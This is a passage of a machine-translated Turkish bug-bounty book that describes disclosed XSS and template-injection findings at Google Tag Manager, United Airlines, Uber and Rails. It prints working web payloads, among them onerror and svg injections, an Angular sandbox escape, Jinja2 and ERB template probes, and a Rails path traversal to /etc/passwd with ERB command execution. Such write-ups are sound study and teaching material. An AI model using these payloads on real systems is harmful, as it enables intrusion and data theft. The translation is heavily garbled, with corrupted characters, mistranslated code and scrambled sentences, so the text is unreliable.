b�r ş�rket çok büyük ya da �y� b�l�n�yor, her şey�n bulunduğunu b�l�yor. Ancak,
ş�rketler her zaman kodu gönder�r.

Ek olarak, javascr�pt'�n çalıştırılab�lmes� �ç�n b�rçok yol vardır.
Google’ın değer�n� değ�şt�rd�ğ�n� gördükten sonra bu durumda vazgeçmek kolaydı.
bağlantıyı her tıkladığında, yan�
fare.

6. Google Tagmanager Depolanan XSS

Zorluk : Orta

URL : tagmanager.google.com

Rapor Bağlantısı : https://blog.�t-secur�tyguard.com/bugbounty-the-5000-google-xss 12

Rapor Tar�h� : 31 Ek�m 2014

Ödemel� Ödül : 5000 Dolar

Tanım :

12 https://blog.�t-secur�tyguard.com/bugbounty-the-5000-google-xss
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Ek�m 2014'te Patr�k Fehrehbach Google’a karşı depolanmış b�r XSS güvenl�k açığı buldu.
Raporun �lg�nç yanı, Google’dan geçen yükü nasıl elde edeb�leceğ�.

Google Tagmanager, pazarlamacıların eklemes� ve güncellemes�n� kolaylaştıran b�r SEO aracıdır
web s�tes� et�ketler� - dönüşüm �zleme, s�te anal�t�ğ�, yen�den pazarlama ve d�ğerler� dah�l. �ç�n
Bunu yapın, kullanıcıların etk�leş�me g�rmes� �ç�n çok sayıda web formu vardır. Sonuç olarak, Patr�k başladı
# ” g�b� görünen mevcut form alanlarına XSS yükler�n� g�rerek <�mg
src = / onerror = uyarı (3)> . Kabul ed�l�rse, bu mevcut HTML'y� kapatır> ve sonra
Onerror Javascr�pt'�n� uygulayacak varolmayan b�r resm� yüklemek �ç�n, alert (3).

Ancak bu �şe yaramadı. Google, g�rd�y� düzgün b�r şek�lde tem�zl�yordu. Ancak Patr�k fark ett�
alternat�f - Google, b�rden fazla et�ket �çeren b�r JSON dosyası yükleme olanağı sağlar. Yan�
örneğ� �nd�rd� ve yükled�:

"ver�": {

"name": "#"> <�mg src = / onerror = alert (3)> ",

"type": "AUTO_EVENT_VAR",
"autoEventVarMacro": {

"varType": "HISTORY_NEW_URL_FRAGMENT"

}
}

Burada, et�ket�n adının XSS yükü olduğunu göreceks�n�z. Anlaşılan, Google değ�ld�
Yüklenen dosyalardan g�rd�ler�n ve yürütülen yükün dezenfekte ed�lmes�.

çıkarımlar

Burada �k� şey �lg�nç. İlk olarak, Patr�k sağlamaya b�r alternat�f buldu
g�r�ş - bunun �ç�n uyanık olun ve b�r hedef�n sağladığı tüm yöntemler� test ed�n
g�r�ş� g�r�n. İk�nc�s�, Google g�r�ş� dezenfekte ed�yordu ancak ne zaman kaçtığını b�lm�yordu.
render. Patr�k'�n g�r�ş�nden kaçmış olsalardı, yük �şten çıkarılmayacaktı
çünkü HTML zararsız karakterlere dönüştürülecekt�.

7. Un�ted A�rl�nes XSS

Zorluk : Zor

URL :: check�n.un�ted.com

Rapor Bağlantısı : Un�ted XSS Un�ted 13

Rapor Tar�h� : Temmuz 2016

13 strukt93.blogspot.ca
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Ödemel� Ödül : TBD

Tanım :

Temmuz 2016'da ucuz uçuşlar ararken Mustafa Hasan (@ strukt93) alay etmeye başladı

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://strukt93.blogspot.ca
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=http://strukt93.blogspot.ca


Un�ted A�rl�nes s�teler�nde böcek bulup bulamayacağını görmek �ç�n (Un�ted kend� hatalarını yapıyor)
bunu yazdığı sırada lütuf). Bazı �lk araştırmalardan sonra, o z�yaret olduğunu fark
sub doma�n check�n.un�ted.com , SID parametres�n� �çeren URL’ye yönlend�r�ld�.
sayfa HTML’de göster�l�yordu. Test ederek, herhang� b�r değer�n geçt�ğ�n� fark ett�.
Sayfa HTML’de �şlend�. Bu yüzden test ett� ”> <svg onload = onayla (1)> eğer
yanlış �şlen�rse, mevcut HTML özell�ğ�n� kapatmalı ve kend� svg's�n� enjekte etmel�d�r.
Javascr�pt �le sonuçlanan et�ket, onload olayının �zn�yle açılır.

Ancak HTTP �steğ�n� gönder�rken, yükü �şlense de h�çb�r şey olmadı
olduğu g�b�, çıkmamış:

B�rleş�k Sayfa Kaynağı

İşte buna dah�l olmamın nedenler�nden b�r�, oysa muhtemelen ver�rd�m
Ayağa kalkıp uzaklaştı, Mustafa �çer� g�rd� ve neler olduğunu sorguladı. O başladı
s�ten�n Javascr�pt’�ne göz atıp, aşağıdak� kodla karşılaştı;
Potans�yel zararlı Javascr�pt'�, özell�kle uyarı , onaylama , b�lg� �steme çağrılarını geçers�z kılar ,
yazmak , vb .:
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B�rleş�k XSS F�ltres�

Sn�ppet'e bakmak, Javascr�pt'� b�lmesen�z b�le, tahm�n edeb�l�rs�n�z.
kullanılan kel�meler�n bazıları neler oluyor. Özell�kle, �ç�nde exec_or�g�nal
XSSObject proxy tanımı. Javascr�pt b�lg�s� olmadan, muhtemelen varsayılab�l�r�z
bu, or�j�nal�n yürütülmes�ne atıfta bulunmaktadır. Hemen altında, heps�n�n b�r l�stes�n� göreb�l�r�z.
�lg�nç anahtarlarımız ve sonra yanlış değer (sonuncusu har�ç) geç�ld�. Yan� sen
Bazı s�teler�n yürütülmes�ne �z�n vermeyerek s�ten�n kend�s�n� korumaya çalıştığını varsayab�l�r�z.
bel�rl� �şlevler. Ş�md�, hacklemey� öğren�rken, gelmek eğ�l�m�nde olan şeylerden b�r�
kara l�steler, bunun g�b�, b�lg�sayar korsanlarına karşı korumanın korkunç b�r yoludur.

Bu notta, b�ld�ğ�n�z veya b�lmed�ğ�n�z g�b�, Javascr�pt �le �lg�l� �lg�nç şeylerden b�r�.
Mevcut fonks�yonları geçers�z kılab�l�rs�n�z. Öyleyse, bunu tanıyarak, Mustafa önce
Document.wr�te �şlev�n� SID'de eklenen aşağıdak� değerle ger� yüklemek �ç�n
JavaScr�pt: document.wr�te = HTMLDocument.prototype.wr�te; document.wr�te ( 'STRUKT'); .
Bunun yaptığı, belgen�n yazma �şlev�n� or�j�nal �şlev�ne ayarlamaktır; dan ber�
Javascr�pt nesne yönel�ml�, tüm nesneler�n protot�p� var. Yan�, HTML'� çağırarak
Belge, Mustafa, mevcut belgen�n yazma �şlev�n� or�j�nal�ne ger� döndürdü
HTMLDocument'den uygulama. Ancak document.wr�te ('STRUKT') adlı telefonu çağırarak,
tek yaptığı, sayfaya düz met�n olarak adını eklemekt�:
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B�rleş�k Düz Met�n



Bu �şe yaramadıysa da, Javascr�pt �şlevler�nde yerleş�k olduğunu kabul etmek geçers�z kılınab�l�r
b�r gün kullanışlı olacak. Y�ne de, bu noktada, görev�ne ve ben�m
Onunla tartışma, Mustafa b�raz sıkışmış ve böylece @ brutelog�c g�rd�. Sadece yaptım
Javascr�pt'� çalıştırmak �ç�n b�rl�kte çalışıyorlar, b�r tonu sabırla cevapladılar.
Bu keş�fle �lg�l� sorular, bu yüzden her �k�s� �ç�n de büyük b�r teşekkür
Mustafa'nın blogunu ve @ brutelog�c'�n s�tes�n� çok sayıda har�ka XSS �çer�ğ�ne sah�p olduğu �ç�n kontrol ett�n�z,
SecL�sts deposunda bulunan ve her �k�s�ne de referans ver�len b�r h�le sayfası dah�l
Kaynaklar Bölümünde).

Her �k� b�lg�sayar korsanıyla yaptığım görüşmeye göre, Un�ted'ın XSS f�ltres�nde b�r �şlev eks�k
benzer yazma ed�l�yor k� wr�teln . İk�s� arasındak� fark bu yazılıdır.
bas�tçe metn�n� yazdıktan sonra yen� b�r satır ekler, oysa yazmaz .

Yan�, bunu tanıyarak, @ brutelog�c �şlev� yazmak �ç�n �şlev� kullanab�leceğ�n� b�l�yordu.
Un�ted'ın XSS f�ltres�n�n b�r parçasını atlayarak HTML belges�ne. O yaptı
”;} {Document.wr�teln (decodeURI (locat�on.hash)) -“ # <�mg src = 1 onerror = alert (1)> ,
ama onun Javascr�pt hala yürütmed�. Çünkü XSS f�ltres� hala yüklen�yordu
ve uyarı �şlev�n� geçers�z kılmak .

N�ha� yüke geçmeden önce, Brute'un ne kullandığına b�r göz atalım ve parçalayalım:

• İlk parça, ”;} , �ç�ne enjekte ed�len mevcut Javascr�pt'� kapatır.
• İk�nc� parça, { Javascr�pt yükünü açar
• Üçüncü parça olan document.wr�teln , Javascr�pt belge nesnes�n�n

Sayfaya �çer�k yazmak �ç�n wr�teln �şlev� (aslında, belge nesnes�)
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• Dördüncü parça, decodeURI b�r kodlanmış varlıkların kodunu çözecek olan b�r fonks�yondur.
URL (ör.% 22, “olacak”)

• Beş�nc� parça, locat�on.hash , URL'dek� # �şaret�nden sonrak� tüm parametreler� döndürür
• Altıncı parça, - “ uygun Javascr�pt’� sağlamak �ç�n alıntıyı b�r adımdan �t�baren değ�şt�r�r.

sözd�z�m�
• Son parça, # <�mg src = 1 onerror = alert (1)> asla gönder�lmeyen b�r parametre ekler

Sunucuya ancak her zaman yerel olarak kalır. Bu ben�m �ç�n en kafa karıştırıcı oldu ama
gel�şt�r�c�ler�n�z� Chrome veya F�refox’ta açarak yerel olarak test edeb�l�rs�n�z;
Kaynaklar sekmes�n� ve ardından tarayıcıda, herhang� b�r URL’ye #test ekley�n ve
bu HTTP �steğ�ne dah�l ed�lmed�

Bütün bunlarla Brute ve Mustafa, yen� b�r HTML Belges�ne �ht�yaç duyduklarını anladılar.
B�rleş�k s�te bağlamında, yan�, sah�p olmayan b�r sayfaya �ht�yaçları vardı.
XSS f�ltres� Javascr�pt yüklü, ancak Un�ted web sayfası b�lg�s�, çerezler� vb.
Ve bunu yapmak �ç�n b�r IFrame kullandılar.

Özet olarak, b�r IFrame başka b�r HTML belges�n�n �ç�ne gömülmüş b�r HTML belges�d�r.
B�r s�tede bahsetmek. En temel�nde, onu yen� b�r HTML sayfası olarak düşüneb�l�rs�n�z, ancak
onu yerleşt�ren HTML sayfasına er�ş�m. Bu durumda, IFrame olmazdı
XSS f�ltres� Javascr�pt yüklü ancak B�rleş�k s�teye gömülü olduğundan
çerezler de dah�l olmak üzere �çer�ğ�n�n tümüne er�şeb�l�r.

Tüm bunlarla, �şte son yükün nasıl olduğu:



B�rleş�k XSS

IFrames, uzak HTML’y� çekmek �ç�n b�r kaynak n�tel�ğ� alab�l�r. Bu da Brute'a �z�n verd�.
kaynağı Javascr�pt olacak şek�lde ayarlayın, hemen uyarı �şlev�n� belge �le çağırın
alan adı.

çıkarımlar

Bu güvenl�k açığı �le �lg�l� ben� çok etk�leyen çok şey var
bunu dah�l etmek �st�yorum. İlk olarak, Mustafa'nın ısrarı. Ne zaman pes etmek yer�ne
yük aslen ateşlemed�, Javascr�pt koduna g�rd� ve öğrend�.
neden. İk�nc�s�, kara l�sten�n kullanımı tüm b�lg�sayar korsanları �ç�n kırmızı b�r bayrak olmalıdır. Tut
hack edenler �ç�n b�r göz. Son olarak, yükten çok şey öğrend�m ve
@ brutelog�c �le konuşuyor. Hackerlarla konuşurken ve kend�m� öğrenmeye devam ederken,
Bazı Javascr�pt b�lg�ler�n�n gerekl� olduğu �ç�n kolayca anlaşılıyor
daha karmaşık güvenl�k açıkları çekerek.
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özet

XSS açıkları s�te gel�şt�r�c�ler� �ç�n gerçek b�r r�sk oluşturuyor ve s�telerde hala yaygın
genell�kle düz görüşte. Javascr�pt uyarı yöntem�ne b�r çağrı göndererek, alert ('test'),
B�r g�r�ş alanının savunmasız olup olmadığını kontrol edeb�l�rs�n�z. Ayrıca, bunu b�rleşt�reb�l�rs�n�z
HTML Enjeks�yonu �le metn�n oluşturulup oluşturulmadığını görmek �ç�n ASCII kodlu karakterler� gönder�n
ve yorumlanmış.

XSS açıklarını ararken, hatırlanması gereken bazı şeyler:

XSS açıklarının karmaşık olması gerekmez. Nerede olduğunu düşünmek öneml�d�r
b�r s�te g�r�ş�n�z� ve özell�kle de hang� bağlamda olduğunu
HTML veya JavaScr�pt.

XSS yükler� gönder�ld�kten hemen sonra çalışmayab�l�r. Bu �m-
g�r�ş�n�z�n oluşturulab�leceğ� tüm yerler� arama ve onaylama
Yükün uygun şek�lde ster�l�ze ed�l�p ed�lmed�ğ�. Http://html5sec.org web s�tes�,
Cure53'te penetrasyon test� uzmanları tarafından sürdürülen har�ka b�r referans
XSS yükler� �ç�n saldırı vektörü tarafından ayrıldı.

B�r s�te herhang� b�r zamanda, g�r�ş� kaldırmak g�b� değ�ş�kl�kler yoluyla g�rd�y� tem�zl�yorsa
karakterler�, n�tel�kler� ve benzerler�n� dezenfekte etme fonks�yonunu test etmel�s�n�z.
Al�ty. Örneğ�n, bunu g�b� beklenmed�k değerler� göndererek yapab�l�rs�n�z.
Boole özell�kler� �le değerler�.

Kontrol ett�ğ�n�z URL parametreler�n�n sayfaya yansımasını sağlayın
Çünkü bunlar, kodlamayı atlayab�len b�r XSS �st�snası bulmanıza �z�n vereb�l�r.
Örneğ�n, b�r çapa et�ket�ndek� href değer� üzer�nde denet�m�n�z varsa,
XSS güvenl�k açığıyla sonuçlanmak �ç�n özel karakterler kullanmanız gerekmeyeb�l�r.

B�r s�ten�n sadece yaşı, markası, �şlevsell�ğ� neden�yle savunmasız olmadığını varsaymayın.



�ty ve benzer�. En �y� b�l�nen s�teler b�le keşfed�lmem�ş böceklere sah�p olab�l�r.

S�teler�n g�r�ş�n� dezenfekte ett�ğ� fırsatlar �ç�n uyanık olun
g�r�ş yaparken değ�l, gönder�m. Ne zaman yen� b�r başvuru
yöntem web s�tes�ne eklen�r ve s�te g�rd�y� dezenfekte eder, bu
potans�yel gel�şt�r�c� hataları ve potans�yel hatalar �ç�n oda.

Kullanıcı g�r�ş�n� tem�zleyen b�r s�teden gar�p davranışlar gördüğünüzde ısrarlı olun
ve ster�l�zasyonun nasıl çalıştığını görmek �ç�n s�ten�n kodunu kazın. İht�yacın olab�l�r
Bunu yapmak �ç�n b�raz JavaScr�pt öğrenmek, ancak s�ten�n kaynak kodunu anlamak
uzun vadede faydalı olacaktır.
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Açıklama

B�r şablon motoru, d�nam�k web s�teler�, e-postalar vb. Oluşturmak �ç�n kullanılan koddur. Bas�t
f�k�r, �çer�k �ç�n d�nam�k yer tutucularla şablonlar oluşturmaktır. Şablon ne zaman
�şlend�ğ�nde, motor bu yer tutucuları asıl �çer�ğ�yle değ�şt�r�r, böylece
uygulama mantığı sunum mantığından ayrılmıştır.

Örneğ�n, b�r web s�tes�nde d�nam�k olan kullanıcı prof�l� sayfaları �ç�n b�r şablon olab�l�r.
kullanıcının adı, e-posta adres�, yaşı vb. prof�l alanları �ç�n yer tutucular.
Bu, b�r s�ten�n, yer�ne bu b�lg�ler� alan b�r şablon dosyasına sah�p olmasını sağlar.
Her kullanıcının prof�l� �ç�n ayrı b�r dosya. Ayrıca motorlu motorlar genell�kle ek
kullanıcı g�r�ş� �y�leşt�rme özell�kler�, bas�tleşt�r�lm�ş HTML üret�m� ve
kolay bakım, ancak bu özell�kler şablonlu motorları bağışıklık kazanmaz
açıkları.

Sunucu tarafı ve �stemc� tarafı olmak üzere �k� tür şablon enjeks�yon zayıflığı vardır. Her �k�s� de
Motorlar, kullanıcı g�r�ş� uygun şek�lde dezenfekte etmeden sağladığında, çapraz
s�te komut dosyası. Bununla b�rl�kte, s�teler arası komut dosyası çalıştırmanın aks�ne, şablon ekleme güvenl�k açıkları
bazen uzaktan kod yürütülmes�ne neden olab�l�r.

Sunucu Tarafı Şablon Enjeks�yonları

Sunucu tarafı şablon enjeks�yonları, aynı zamanda SSTI'ler olarak da b�l�n�r, enjeks�yon gerçekleşt�ğ�nde gerçekleş�r
sunucu tarafı mantığında. Şablon motorları genell�kle bel�rl� �le �l�şk�l� olduğundan
programlama d�ller�, b�r enjeks�yon gerçekleşt�ğ�nde, yürütmek mümkün olab�l�r
bu d�l�n keyf� kodu. Kod yürütme özell�ğ�, güvenceye bağlıdır.
motor tarafından sağlanan korumalar ve s�ten�n sah�p olab�leceğ� önley�c� tedb�rler
alınmış. Örneğ�n, Python J�nja2 motoru �steğe bağlı b�r dosyayla �l�şk�lend�r�ld�
er�ş�m ve uzaktan kod çalıştırmanın yanı sıra tarafından kullanılan Ruby erb şablon motoru
Raylar’da varsayılan Buna karşılık, Shop�fy'ın Sıvı Motoru sınırlı sayıda er�ş�me �z�n ver�yor
tam uzaktan kod yürütülmes�n� engelleyen Ruby yöntemler�. D�ğer popüler motorlar
PHP �ç�n Smarty ve Tw�g, Ruby, Mustache ve benzerler� �ç�n Haml.



SSTI test� �ç�n kullanılan sözd�z�m�, kullanılan motora bağlıdır, ancak genell�kle aşağıdak�ler� �çer�r:
bel�rl� b�r sözd�z�m�yle şablon �fadeler�n� gönderme. Örneğ�n, PHP şablonu
eng�ne Smarty �fadeler� bel�rtmek �ç�n dört ayraç ({{}}) kullanıyor, erb �se b�r komb�nasyon kullanıyor;
parantez ulus, yüzde semboller� ve eş�t b�r �şaret (<% =%>) . Enjeks�yonları sınama
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Smarty, g�r�şler�n sayfaya ger� yansıtıldığı her yere {{7 * 7}} gönder�lmes�n� �çereb�l�r
(formlar, URL parametreler� vb.) ve 49 öğes�nden oluşturulup oluşturulmadığını tey�t etmek
kod 7 * 7 �fades�nde çalıştırma. Öyleyse, oluşturulan 49 �fadey� �fade eder
şablon tarafından başarıyla enjekte ed�ld� ve değerlend�r�ld�.

Sözd�z�m� tüm şablon motorlarda aynı olmadığından, bel�rlenmes� öneml�d�r.
test ed�len s�tey� oluşturmak �ç�n hang� yazılım kullanıldı. Wappalyzer veya Bu�ltW�th g�b� araçlar
Bunu yapmanıza yardımcı olmak �ç�n özel olarak tasarlanmıştır, bu yüzden �k�s�n� de kullanmanızı tavs�ye eder�m. b�r Zamanlar
Yazılımı tanımladınız, yükü 7 * 7 göndermek �ç�n bu sözd�z�m�n� kullanın.

Müşter� Tarafı Şablon Enjeks�yonları

Müşter� Tarafı Şablon Enjeks�yonları veya CSTI, şablon motoru enjeks�yonlarının b�r sonucudur.
İstemc� şablon motorlarında, genell�kle JavaScr�pt �le yazılmış. Popüler �stemc� şablonu
motorlar arasında Google tarafından gel�şt�r�len AngularJS ve Facebook tarafından gel�şt�r�len ReactJS bulunmaktadır.

CSTI enjeks�yonları, kullanıcının tarayıcısında yürütülen yazılımda gerçekleşt�ğ�nden, çoğu
enjeks�yonlar t�p�k olarak sadece s�teler arası komut dosyası çalıştırma (XSS) elde etmek �ç�n kullanılab�l�r ve
uzaktan kod yürütme. Bununla b�rl�kte, XSS'ye ulaşmak bazen zor olab�l�r ve gerekeb�l�r
SSTI açıkları g�b� önley�c� tedb�rler� atlayarak. Örneğ�n, AngularJS
1.6'dan öncek� sürümler, bazı JavaScr�pt’lere er�ş�m� sınırlama amaçlı b�r Sandbox �çer�r.
fonks�yonları ve böylece XSS'ye karşı koruma (AngularJS'n�n vers�yonunu onaylayab�l�rs�n�z.
tarayıcınızda gel�şt�r�c� konsolunu açarak ve angular.vers�on g�rerek kullanılır ).
Bununla b�rl�kte, et�k korsanları rut�n olarak Bulunan ve Açılan sanal alan bypasslarını bıraktı. b�r
Sandbox �ç�n 1.3.0-1.5.7 sürümler�nde kullandığınız popüler b�r baypas
Açısal enjeks�yon bulunur:

{{ a = toStr�ng () .constructor.prototype ; a.charAt = a.tr�m ; $ eval ( 'a, uyarı (1), a' ) }} .

Yayınlanan d�ğer Açısal Sandbox çıkışlarını https://pasteb�n.com/xMXwsm0N adres�nde bulab�l�rs�n�z.
ve https://jsf�ddle.net/89aj1n7m/.

B�r CSTI güvenl�k açığının c�dd�yet�n�n göster�lmes�n�n s�z� gerekt�rd�ğ�n� göreceks�n�z
Kodu test etmek �ç�n potans�yel olarak uygulayab�l�rs�n�z. Değerlend�rmek mümkün olab�l�r �ken
bazı JavaScr�pt kodları, bazı s�teler önlemek �ç�n ek güvenl�k mekan�zmaları olab�l�r.
sömürü. Örneğ�n, ger� dönen {{4 + 4}} yükünü kullanarak b�r CSTI buldum
AngularJS kullanarak b�r s�tede 8. Ancak, {{4 * 4}} kullandığımda, {{44}} metn� döndürüldü.
çünkü s�te, �şaret� kaldırarak g�r�ş� tem�zlem�şt�r. Alan ayrıca kaldırıldı
() ve [] g�b� özel karakterler ve yalnızca 30 karaktere �z�n ver�l�r. Heps� bu
Komb�ne etk�l� CSTI yararsız hale get�rd�.
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Örnekler

1. Uber Açısal Şablon Enjeks�yonu

Zorluk : Yüksek

URL : developer.uber.com

Rapor Bağlantısı : https://hackerone.com/reports/1250271

Rapor Tar�h� : 22 Mart 2016

Ödemel� Ödül : 3,000 Dolar

Tanım :

Mart 2016'da, James Kettle (Burp Su�te gel�şt�r�c�ler�nden b�r�, öner�len b�r araç
Araçlar bölümünde), URL’de b�r CSTI güvenl�k açığı buldu:

https://developer.uber.com/docs/deep-l�nk�ng?q=wrtz {{ 7 * 7 }}

Raporuna göre, eğer �şlenen sayfa kaynağını görüntülersen�z, wrtz49 d�z�s� olur.
�faden�n değerlend�r�ld�ğ�n� gösteren

Ş�md�, �lg�nç b�r şek�lde, Angular “uygun b�r ayrılığı sürdürmek �ç�n kum havuzu” den�len şey� kullanıyor.
uygulama sorumluluklarının ver�lmes� ”. Bazen kum havuzunun sağladığı ayrım
Potans�yel b�r saldırganın er�şeb�leceğ�n� sınırlamak �ç�n b�r güvenl�k özell�ğ� olarak tasarlanmıştır. Ancak,
Angular �le �lg�l� olarak, belgeler “bu sanal alanın amaçlanmadığını
Şablonu düzenleyeb�lecek saldırganı durdurmak �ç�n [ve] keyf� çalıştırmanız mümkün olab�l�r
Ç�ft kıvrımlı c�ltler�n �ç�ndek� Javascr�pt ”James de bunu yapmayı başardı.

Aşağıdak� Javascr�pt'� kullanarak James, Angular sanal alanından kaçmayı başardı.
keyf� Javascr�pt uygulaması:

https://developer.uber.com/docs/deep-l�nk�ng?q=wrtz{{(_= "" .sub) .call.call ({} [$ = "\

Yapıcı "]. getOwnPropertyDescr�ptor (_.__ proto __, $). değer�, 0," uyarısı (1) ") ()}} zzz \

z

1 https://hackerone.com/reports/125027
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Uber Dokümanlarında Açısal Enjeks�yon

Bel�rtt�ğ� g�b�, bu güvenl�k açığı gel�şt�r�c� hesaplarını kaçırmak ve bunlarla �l�şk�lend�rmek �ç�n kullanılab�l�r
Uygulamaların.

çıkarımlar

AngularJS kullanımı �ç�n uyanık ol ve Angular'ı kullanarak alanları test et
sözd�z�m� {{}}. Hayatınızı kolaylaştırmak �ç�n F�refox eklent�s� Wappalyzer'� ed�n�n - olacak
AngularJS kullanımı dah�l b�r s�ten�n hang� yazılımı kullandığını göster�r.

2. Uber Şablon Enjeks�yonu

Zorluk : Orta

URL : r�ders.uber.com

Rapor Bağlantısı : hackerone.com/reports/1259802

Rapor Tar�h� : 25 Mart 2016

Ödemel� Ödül : 10.000 $

Tanım :

2 hackerone.com/reports/125980
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Uber, HackerOne'da halka açık hata ödül programını başlattığında
kend� s�tes�nde bulunab�lecek b�r “haz�ne har�tası”, https://eng.uber.com/bug-bounty.

Har�ta, aşağıdak�ler dah�l olmak üzere Uber'�n kullandığı bazı hassas alt etk� alanları �le �lg�l�d�r.
teknoloj�ler�n her b�r� tarafından güven�ld�. Yan�, söz konusu s�teye gel�nce, r�ders.uber.com,



yığın Python Flask ve NodeJS �çer�yordu. Pek�, bu güvenl�k açığı �le �lg�l� olarak, Orange
(b�lg�sayar korsanı), Flask ve J�nja2'n�n kullanıldığını ve �s�mdek� sözd�z�m�n� test ett�ğ�n� bel�rtt�.
alan.

Ş�md�, testler sırasında Orange, r�ders.uber.com sonuçlarında b�r prof�lde herhang� b�r değ�ş�kl�k olduğunu kaydett�.
Hesap sah�b�ne b�r e-posta ve kısa mesaj �ç�nde. Yan�, blog gönder�s�ne göre, o
üzer�nden test {{1 + 1}} �fade ayrıştırma ve baskı 2 s�tes� �le sonuçlanmıştır
kend�ne e-posta gönder.

O sonra yük çalıştı {{C, C, C}} {% endfor%} {[1,2,3]% C �ç�n%} �ç�n çalışır
prof�l sayfasında aşağıdak� sonuçlanan döngü:

blog.orange.tw Yük enjeks�yonundan sonra Uber prof�l�

ve sonuçta ortaya çıkan e-posta:
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blog.orange.tw Yük aktarımı enjeks�yonundan sonra Uber e-postası

Göreb�ld�ğ�n�z g�b�, prof�l sayfasında gerçek met�n oluşturulur ancak e-posta aslında
kodu uyguladı ve e-postaya enjekte ett�. Sonuç olarak, �z�n ver�len b�r güvenl�k açığı mevcut
Python kodunu çalıştırmak �ç�n b�r saldırgan.

Ş�md�, J�nja2, yürütmey� korumayı engelleyerek hasarı azaltmaya çalışıyor, yan�
�şlevsell�k sınırlıdır, ancak bu zaman zaman atlanab�l�r. Bu rapor oldu
Aslında b�r blog yazısı (b�raz erken g�tt�) tarafından desteklenen ve bazı büyük dah�l
nV�s�um.com bloguna bağlantılar (evet, Ra�ls RCE'y� çalıştıran aynı nV�s�um)
sanal alan �şlevsell�ğ�nden nasıl kaçılacağını gösterd�:

• https://nv�s�um.com/blog/2016/03/09/explor�ng-sst�-�n-flask-j�nja2
• https://nv�s�um.com/blog/2016/03/11/explor�ng-sst�-�n-flask-j�nja2-part-��

çıkarımlar

B�r s�ten�n hang� teknoloj�ler� kullandığına d�kkat ed�n, bunlar genell�kle k�l�t f�k�rlere yol açar.
B�r s�tey� nasıl kullanab�leceğ�n�z�. Bu durumda, Flask ve J�nja2 olduğu ortaya çıktı
büyük saldırı vektörler�. Ve, bazı XSS   açıklarında olduğu g�b�,
güvenl�k açığı hemen veya kolayca görünmeyeb�l�r, tümünü kontrol ett�ğ�n�zden em�n olun
yerler met�n oluşturuldu. Bu durumda, Uber s�tes�ndek� prof�l adı
düz met�n gösterd� ve bu güvenl�k açığını gerçekten ortaya çıkaran e-posta oldu.
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3. Raylar D�nam�k Render

Zorluk : Orta

URL : Yok

Rapor Bağlantısı : https://nv�s�um.com/blog/2016/01/26/ra�ls-dynam�c-render-to-rce-cve-2016-
07523

Rapor Tar�h� : 1 Şubat 2015

Ödemel� Ödül : N / A

Tanım :

Bu �st�smarın araştırılmasında nV�s�um müth�ş b�r çöküş sağlıyor ve dolaşıyor
sömürünün. Yazılmalarına göre, Ruby on Ra�ls denetley�c�ler�
B�r Ra�ls uygulamasında �ş mantığı. Çerçeve, bazı oldukça sağlam �şlevsell�k sağlar,
Kullanıcıya bas�tçe dayalı olarak hang� �çer�ğ�n göster�lmes� gerekt�ğ�n�n anlaşılması
render yöntem�ne �let�len değerler.

Ra�ls �le çalışmak, gel�şt�r�c�ler�n ne olduğunu açık ya da açıkça kontrol etme olanağına sah�pler.

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752


�şleve geç�r�len parametreye göre oluşturulur. Böylece, gel�şt�r�c�ler açıkça
�çer�ğ� met�n, JSON, HTML veya başka b�r dosya olarak oluşturma.

Bu �şlevsell�k �le, gel�şt�r�c�ler URL’den geç�r�len parametreler� alab�l�r;
onları oluşturulacak dosyayı bel�rleyecek olan Ra�ls'e. Yan�, Ra�ls b�r şey arardı
g�b� uygulama / görüntüleme / kullanıcı / # {params [: şablon]} .

Nv�s�um, b�r .html, .haml kodunu oluşturab�lecek olan panodan geçme örneğ�n� kullanır.
.html.erb pano görünümü. Bu çağrıyı aldığınızda, Ra�ls dosya t�pler�n� d�z�nler� tarar
Ra�ls sözleşmes�n� eşleşt�r�n (Ra�ls mantra, yapılandırmaya göre b�r sözleşmed�r). Ancak,
Ra�ls'e b�r şey� oluşturmalarını söyled�ğ�n�zde, kullanmak �ç�n uygun dosyayı bulamıyorsa,
RAILS_ROOT / app / v�ews, RAILS_ROOT ve s�stem kökünde arama yapacaktır.

Bu konunun b�r parçası. RAILS_ROOT, uygulamanızın kök klasörünü göster�r;
mantıklı. S�stem kökü olmaz ve tehl�kel�d�r.

Böylece, bunu kullanarak,% 2fetc% 2fpasswd d�z�n�ne geçeb�l�rs�n�z ve Ra�ls / etc / passwd dosyanızı basar.
dosya. Korkunç.

Ş�md�, bu daha da �ler� g�d�yor, <% 25% 3d ls % 25> yazdığınızda , bu yorumlanır.
<% = ls %> . Erb temprat�ng d�l�nde, <% =%> yürütülecek kodu bel�rt�r
ve yazdırıldı, bu yüzden burada, ls komutu çalıştırılacak veya Uzaktan Kod �ç�n �z�n ver�lecek
Yürütme.

3 https://nv�s�um.com/blog/2016/01/26/ra�ls-dynam�c-render-to-rce-cve-2016-0752
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çıkarımlar

Bu güvenl�k açığı, her Ra�ls s�tes�nde bulunmaz - bağlı
S�te nasıl kodlandı. Sonuç olarak, bu otomat�k b�r araç olacak b�r şey değ�l
mutlaka almak. B�r s�ten�n Ra�ls kullanılarak oluşturulduğunu b�ld�ğ�n�z zaman uyanık olun
URL'ler�n çoğu �ç�n ortak b�r kural �zler - en bas�t�nde, / controller / �d
Bas�t GET �stekler� �ç�n veya / controller / �d / ed�t, ed�t;

Bu url şablonunun ortaya çıktığını gördüğünüzde, oynamaya başlayın. Beklenmed�k şek�lde geç
değerler ve ney�n ger� döndüğünü görün.

özet

Güvenl�k açıklarını ararken, altta yatanları tesp�t etmek ve tanımlamak �y� b�r f�k�rd�r.
olası b�r saldırı bulmak �ç�n teknoloj� (web çerçeves�, ön uç �şleme motoru vb.)
vektörler. Farklı şablonlama motorları, tam olarak ne olduğunu söylemey� zorlaştırır.
Her koşulda çalışacak, ancak hang� teknoloj�n�n kullanıldığını b�lmek
sen. Kontrol ett�ğ�n�z metn�n ger� get�r�ld�ğ� fırsatlara d�kkat ed�n
Sayfada veya başka b�r yerde (b�r e-posta g�b�) s�ze.

